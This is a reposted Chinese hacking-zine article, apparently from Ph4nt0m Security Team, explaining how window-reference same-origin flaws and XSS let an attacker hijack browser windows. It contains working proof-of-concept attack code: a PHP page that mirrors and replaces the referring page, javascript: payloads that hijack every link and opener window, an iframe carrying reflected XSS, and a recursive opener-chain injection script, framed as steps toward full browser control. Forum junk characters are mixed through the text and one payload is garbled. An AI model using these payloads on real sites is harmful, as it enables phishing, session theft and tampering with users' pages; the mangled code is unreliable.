找回密码
 立即注册
查看: 2779|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==7 @9 z. y0 b5 r/ I* J: P; L

# t/ l, n: w, b0 X5 g                       Issue 0x03, Phile #0x05 of 0x07& s  W3 J# Q+ q; X

& ?  m* P6 d3 _4 {
$ y3 E6 I+ `$ t% Y4 n6 f) a|=---------------------------------------------------------------------------=|- T+ N7 H3 ^3 a* \
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
8 \% i# E8 c* ~5 F$ k|=---------------------------------------------------------------------------=|/ C7 o) f& l( V* r9 K7 _2 m2 O5 c
|=---------------------------------------------------------------------------=|
% S6 C3 \  `/ X" w  b' D7 \/ [$ Y4 L|=------------------------=[      By rayh4c     ]=---------------------------=|
$ |' o% a6 Q5 }+ {0 e|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|2 C* n) ^: z+ v! q! h' E
|=---------------------------------------------------------------------------=|( e8 v) q% [! L6 f2 E' n/ o

- ^- W* g( b; {/ x9 e. D9 r2 E( |" r' S# ~
[目录]8 Q+ `  _% k# O" b
" _6 |" d3 O) `  |6 \
1. 前言! L0 n" o: Y: @1 ?" Z7 U! _$ U9 Y
2. 同源策略简叙
# P* P) H9 n4 t+ m3. 理解window对象的同源策略
8 n* G2 s# p3 i* X  X# }4. 窗口引用功能中的同源策略漏洞
% }% }7 `/ F$ n5 L$ P0 ~: f  4.1 父窗口引用子窗口的同源策略问题4 s& b' h" C4 u9 A& N
  4.2 子窗口引用父窗口的同源策略问题
2 Y" J: @/ V/ R5 \5. 利用窗口引用漏洞劫持浏览器; \' G0 {7 d- ?! i+ r: A) _, p! R
6. 利用XSS漏洞劫持浏览器$ e1 c9 s/ S/ a! u/ E* g3 s0 S" U% u
  6.1 正向跨窗口劫持1 J  Q8 w% ~% b, _
  6.2 反向跨窗口劫持
" t; @# ^2 U, c. C4 F/ c  6.3 极度危险的跨框架窗口引用劫持
9 {& O& w. w' E1 z  6.4 极度危险的正反向跨窗口递归劫持4 t/ {" t# \$ i. O; s
  6.5 完全控制浏览器
, u1 N4 ^" t1 b7. 后记% X  ?8 ?/ @8 I
8. 参考
- a, R: t4 N. a9 {' l
2 s4 Y9 M0 Z# L; g
5 _, N! ]$ T4 Q: r! C一、前言
+ Y. ^( F) ?: m) M4 z6 _7 O! o  K+ }
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
% g9 D5 m8 X) i9 D! S5 D  n友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
& l* P0 B: X3 j$ V7 D8 k- A; q劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被$ X$ Y( p! F; K; b" k
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。2 T& D/ q2 {3 H6 |' ?6 C$ k2 i& d
7 Q9 \% V/ q/ e/ w' A3 g

1 e* Y/ K/ V6 D4 }$ |8 H二、同源策略简叙! M0 r* Q8 A8 o5 R4 o% q- J

! D$ n" o5 B7 e6 O2 p9 N9 D  D    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
) c. O$ j8 P0 `% U2 H6 F. P( u" S从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
( @! b4 Q) y  j8 E3 v% e% a曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
( h$ d. a0 W* e2 E9 q马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个0 [! t/ s8 {" q3 F  Z' k
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
4 D1 A/ q3 V& J& v  R0 [+ Y. I. A4 T4 V! Q. a* Z% b, u
, ^" B% c  u' G! t* k' d
三、理解window对象的同源策略
1 Z# k& ?/ H& l" [) ~2 Y* ^5 v6 N; a  f( [
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
+ L. F; Y( w2 I6 n4 ~0 p5 A& v* z象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
8 a( N. y- U$ O' X) {: C0 M) S8 c
) i6 `$ ]; p- x1 K% U--code-------------------------------------------------------------------------4 b2 @# v' U; e4 J2 j
<script language="javascript">
) Y/ t# j: p# \/ ofor(p in window) document.write(p+"<br>");- {+ S: a# c( A( b' N
</script>
. X/ R  O) X$ M; M# S* H-------------------------------------------------------------------------------
4 L; h; N) s' Y7 }9 W% [4 M2 c1 \. x- _- M
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方& F# H$ R& Q& G8 w. f; d
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,) b0 U6 i: i! r' I
这些属性和方法就必须遵循同源策略。
2 l; O. X! D) {: F$ k9 U0 J5 D+ P, m4 w) ~
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
; v% F" \  o* {* q$ Y么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
" p7 N# D4 w7 C3 n4 f的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
( L9 |! o6 W& P6 E' Z: M; D4 A个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
) m/ T+ o$ V, ?1 g值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location. W: O9 L! v0 O4 S3 `
属性并没有被拒绝访问。6 O- B/ Q7 H2 L, B8 S9 ]

. O% J' w& C; O3 K- k3 I; W3 L--demo.html--------------------------------------------------------------------$ v5 s" }2 M4 w
<script language="javascript">   
/ p& p# [1 ?( l) f. dfunction allPrpos(obj) {      
0 R. ]; w1 ~0 Y1 e% y+ X! q      var props = "<table><tr><td>名称</td><td>值</td>";           
7 y* V5 [. F, X* L0 g      for(var p in obj){         
- P- G- c4 w& K# v) H            if(typeof(obj[p])=="function"){   
0 p" J5 U# Y% v                   obj[p]();   % h. W* T4 P. S; @( S5 }9 ~- c
             }else{                     
3 G; O7 E& c! P2 |: T, `                  try   
; E% w  S$ D, U6 W                   {   ; P1 f, T) ]. y/ K
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
9 ~% l- c* Z7 @8 c                   }   
, V5 p1 ~; o' {* V  T. B                  catch (ex)   
& h9 i1 u- m2 H) k5 s                   {   , k  _9 \5 O( Y/ _1 {2 i0 \
                  
# v) i" |- x3 x, G/ j                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   5 y+ }% f% h6 b% }: g
                   }   0 G6 b/ i, ~/ g5 ]3 D4 C
                       # C/ b  b) }7 p4 ^  _, u
             }   
" J# r" D: P4 @! e& A. T       }   9 r# F2 B# A) z  Q3 \9 y
   
" i3 ?: k. ^" Z! Z& R/ n       document.write(props+"</table>");   
7 U% {, m, ]) X# B8 w1 X! `7 ]}   
- L$ C* {( b9 \! V   
* \% L! Q: Q( u* Efunction createWin() {
1 I* E$ M  r) V! ^$ x  p& @  n        newWin = window.open ("http://www.google.com");  
! R/ F/ H) P5 R. V6 ~        setTimeout(function(){allPrpos(newWin)},2000); , L4 W) t2 G% [- F
} 1 l# ^* n! {/ P/ {

; r4 _$ }( }+ G; i</script>   Q7 C0 a, x# e
. @/ W/ M, L' H5 @/ D8 h. c
<button onclick='createWin()'>创建一个非同源子窗口测试</button>  I1 ?4 R1 ]+ X# K, \, @3 A* J
-------------------------------------------------------------------------------
- A$ G5 x' n. o. F. V9 E. T0 @6 a& W

: E7 ?( n4 A  \( R3 P' ~$ J& e& `( U四、窗口引用功能中的同源策略漏洞
* p/ n, s2 g) P0 W% Q' _- O! p6 C+ c; k: s" O' Q6 p! v/ A8 n6 j$ E
4.1 父窗口引用子窗口的同源策略问题
5 J' |1 K8 f. A0 ?: T' c2 q
& i6 b1 w' _7 ]( a$ a! \2 g    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,, w* d$ K& I" j2 ^+ x9 E
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道- A( A' k0 A1 e- ^3 c
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进1 a2 I2 B7 a1 e% w! y1 V
行测试,会发现父窗口可以控制非同源子窗口location属性值。
8 E. k4 n! w8 Z3 c
3 ]; Y" f9 H; {--vul1.html--------------------------------------------------------------------
' i+ C3 d6 v8 x+ k+ }' N<script language="javascript">
4 g3 ]9 E# l' Q! F& ]function createWin() {  
( H$ @1 r% ]9 w" `' D! J        newWin = window.open ("http://www.google.com");  : N4 m" q7 q' t, ?, F% e" r% e
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
% X2 S* {: n3 P  z: ]( l/ k1 C}
, y. q' ?6 d/ n3 P: n1 o$ f. b</script>
8 }: J8 J( K3 H$ D$ k4 p8 f8 z9 `$ N
<button onclick='createWin()'>创建一个非同源子窗口测试</button># ]& r6 s. D7 E1 g
-------------------------------------------------------------------------------
: @2 R2 u2 X2 _2 N) \# j4 @' R- w$ n7 ^: d

0 x0 ~0 t8 `8 Q! B7 {  C$ j4.2 子窗口引用父窗口的同源策略问题% {( M/ h  \5 D+ B5 ~6 w

6 X; P6 v; S1 Y  U% \6 g0 H    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使- D) T0 b# U: z9 R8 d5 {2 c5 J
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
! {6 ~. I) P* i可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
& W4 j9 _) j$ ]会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。; Z# [, o6 ?1 c: f. |# A

, J; {7 z3 i" D9 N--code-------------------------------------------------------------------------
4 X7 j5 C. ~3 y$ R) L
+ }3 S+ Z% f0 |( }  Gjavascript:window.opener.location = "http://www.80sec.com";void(0);
! E% B- X, b0 O  u  [# l0 W1 I7 V; w* K
-------------------------------------------------------------------------------+ n* P/ _# p% T3 I% w4 \

) |, i' T$ f, k# @# z8 L, i4 \" O2 @6 \- ^
五、利用窗口引用漏洞劫持浏览器  U  V5 W# m# g9 R+ h
* W, t% u. R$ J4 n: Z
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子3 D9 x& g9 M" U0 F  V
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那8 v' K+ A9 \# g0 Z3 Z- [/ c
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
: |4 O* e* W- f2 A6 I& p
( {- E+ P7 A) w* i1 F, `& {" e5 t    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产6 a0 b" [- o" `2 q
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或7 a" l' |  N& v
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
1 |7 R0 _0 V8 Z+ e后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下& ^* @9 k1 B9 x& e/ P" _
会产生什么可怕的后果。- g2 z  c1 E. x: |
( @- V8 z3 o( U
    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
' A* K; |  z* D3 H" H0 l们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php8 f8 @9 J# q6 Y% _. b* y6 E5 {
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
2 T% Y1 q+ ?/ l3 O) [" m, M候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可& a$ \: x7 n9 |
以做更多的事情,所有的一切仅仅是因为点击了一个链接。  j9 c" d4 v: k

' C, N! E- z% M4 _6 Q--hjk_ref.php------------------------------------------------------------------
; ^; H3 w% ?: X/ q% `<?php0 m8 c8 C4 M7 k" ~6 Z6 F6 r: o
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
/ v' a$ E! B" S4 @$Url_Mirror = $_SERVER["HTTP_REFERER"];
7 ?3 V! e4 C$ g} 4 P9 {9 B8 h0 z: a3 o
if(isset ($_GET['ref'])) {
/ W4 b" p- z+ u1 }echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
$ D& I$ y9 Y% n5 Z; M}
; T! D9 R, r2 }" O; d  b: U8 Y?>$ b  f2 b7 _1 o8 ~% z. @9 Z% h1 d
+ ^4 M$ x4 g8 v
<script language="javascript">7 x1 v. t, v+ u
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
* {, u+ b8 r% F- C8 D7 Y: g0 C</script>
: j) t0 o# p" k! t' |, {9 H-------------------------------------------------------------------------------0 U2 B( w: X  ?: L

! y' ^8 t3 c* `& Q7 s    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。+ g* H% N# w, F- o  h
: i( V' o; G5 O( k8 M
& A0 r7 S! v/ J  A' |; k
六、利用XSS漏洞劫持浏览器
* p6 H$ _2 v# \/ D$ O1 L
4 K8 S. G6 M* {! b3 H    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为. L8 i# @. r: {0 r
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后$ N# M; }. k$ G2 ?
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
$ k' v8 F: E6 [$ i% @讨论跨站师的终极技巧:
$ O6 U+ _& v$ ~% n6 t5 n. b; F. {  L) r' D0 @3 d( Z

- U- j0 o/ p7 b8 A6.1 正向跨窗口劫持
6 T3 p+ [$ I' }( t8 _( }/ x
- G# v& N3 A. S  \# W    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
* M  u0 `4 v$ h7 \+ {# j主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链0 f) b8 s, Y# M+ Z" ~
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话6 {/ A8 S9 N* P$ B" H4 D5 Z
框脚本。 4 y# D5 j5 c8 _0 J  m
9 H! w' F* Q# t* [  M8 m; @
--hijack_open.js---------------------------------------------------------------
. q% ?. G2 ^; X7 M7 J+ d9 A
" s! K# C# C- W* [$ cjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
+ }! t$ C& {# ~+ i$ ]+ V. Q- m: b& S8 U6 \
-------------------------------------------------------------------------------$ Z+ R, K7 |, B6 H8 h+ c
. f- ?* m- M) s$ j6 p

4 I% }9 V/ [! m! K# U; r' X, T6.2 反向跨窗口劫持
# E9 X( i9 U) Y+ G
1 n: w# b. a$ e; a. q; j8 ~5 x$ C8 P- z6 q    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
! [  S6 s2 ^2 x% k! m4 `* a码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
3 n8 k$ h) I2 ]" T: D& y; _  z框脚本。% V, I3 q: p( W3 \5 a" ]: @
2 ?# w4 b4 A% d  n
--hijack_opener.js-------------------------------------------------------------6 P: t0 U& @" `* D3 u" `# P/ D

0 Y: e5 \& y( }; U; V+ P9 Vjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
) J# N; P. {6 i$ Y7 @
& h3 b" U% F' j-------------------------------------------------------------------------------7 q# A# ~2 {" _: [; E1 v) L) B
7 P8 E8 J9 l! a$ X. S. K& K
3 d  \) k3 ~8 m# a3 s
6.3 极度危险的跨框架窗口引用劫持
# U' h  X" H) Q! W7 l/ u7 o& x
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
8 x" p( o- j8 @+ ^可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就8 J. z' f* _7 k& |, [
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
+ D) |2 I) r2 c: O6 `% i& d' o非持久型的XSS,如下:
& y9 Z- w( _. e
' N+ n2 u. O+ G) E: @3 i8 S" B<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
, ^0 ^; _4 H8 _8 Y; v4 f$ [  V/ ?! Z/ X: [4 ]6 x/ _
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口6 J0 [' x  M9 ~) e
注入脚本。/ J: w; ~9 {" A1 U! ^# p7 x

, [; p  r) z% z5 _--hijack_frame_opener.js-------------------------------------------------------
0 s& _% P0 ~7 e& j; v<script>6 q3 D5 e4 j6 r
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
( x% j- _& Z7 Z7 L6 d1 r</script>
, H5 l7 H2 \; B1 b* a3 q-------------------------------------------------------------------------------
) c7 ]! ]  Q9 Q$ O& u$ e
# F, g3 [1 O7 b; Q- J" }9 a2 E
6.4 极度危险的正反向跨窗口递归劫持
. S1 {' W5 z( M/ _1 O4 o' ^- z/ `5 J
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window# q8 g/ x7 ^/ q3 O  u
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
/ L& v$ O8 C, M异常处理规避之间跨域页面的访问异常,代码如下:
  o! s: c) T# D& j: {) Z) ~: d& {" J% U( f) M. k
--code-------------------------------------------------------------------------- t; x: G# b. z

7 \2 x2 b3 }, M) n8 K) Bjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
2 }) U0 c2 P, p! Z! X9 F, U
4 a/ o: Z4 X( s$ \  t7 L; `) H-------------------------------------------------------------------------------
1 C1 L7 ]5 [5 V2 i" \
3 _1 T; j. E- L" X5 F    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可* q- p$ P" x0 ]
以劫持B域之前的A域页面,从而实现“隔空打击”。
8 H' d2 o; r$ Y0 F  y  J( @  s( W. c1 }0 @. p5 p8 Q
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
. i. e8 M. n/ I' S+ ]- A& k5 l& Z0 o7 I执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。6 |0 {& u" T& M
, q1 d5 p0 L, o# S  S
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
: Z0 M! R/ k) ~( w5 o9 y7 R  u0 T7 G8 ?4 q% G$ v

7 g) q3 i2 R, \0 `$ L6.5 完全控制浏览器0 l3 W8 g( n% z0 m. J
" V6 u( s7 O& e
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则$ z  ~: A$ D: o# n% J) x
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS' b2 K# B: |+ i6 n8 }
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失( a6 v- Q" N+ g1 K7 [
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再. E  [7 s, L; H" S6 v  E
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
2 D/ _1 E1 v  i- z9 {3 C0 `' G6 V师的终极目标 - 完全控制浏览器。7 M5 ]) ?2 [6 W5 f# w/ N& j. Y
$ g3 `) P& |6 t5 R3 c; l, [
  Z1 d$ j& o# n9 s
七、后记
! Q5 b' D% `& J% B4 ~5 o7 E+ J# P& S( J
, V/ F  G1 h6 P. m6 X    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全4 T1 {4 X% p0 N3 V+ b6 A) W- B
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予% O- Z& R0 f% h1 F
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
4 K1 P7 h3 U& W0 e/ V0 ]6 o, w+ y+ W* P1 W- t. j2 f7 Q/ ?$ |

3 P) O0 [! O3 }& K6 R5 s2 v5 v! Z  o八、参考% l/ Z- L4 y2 h1 O* C" I
) `, \" c4 }2 K6 X! F
1. http://en.wikipedia.org/wiki/Same_origin_policy
4 R! T) H; f$ ~# p, |2. http://code.google.com/p/browser ... licy_for_DOM_access% Z/ @, A0 j  a# I+ P" Q
3. http://www.w3.org/TR/Window/
- \5 k5 _2 ?- o6 d, n8 J! k4. http://www.80sec.com/release/browser-hijacking.txt
% _' {6 h7 U5 l/ g% g3 o, _5. http://www.80sec.com/all-browser-security-alert.html' R' O4 Q0 n6 g9 m) @% e4 U) P
6. http://www.80sec.com/ms08-058-attacks-google.html4 N+ Y4 u- z* ?5 W+ {- G0 T
4 l9 S4 I4 a& `* ]' C0 G4 t( k6 r
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表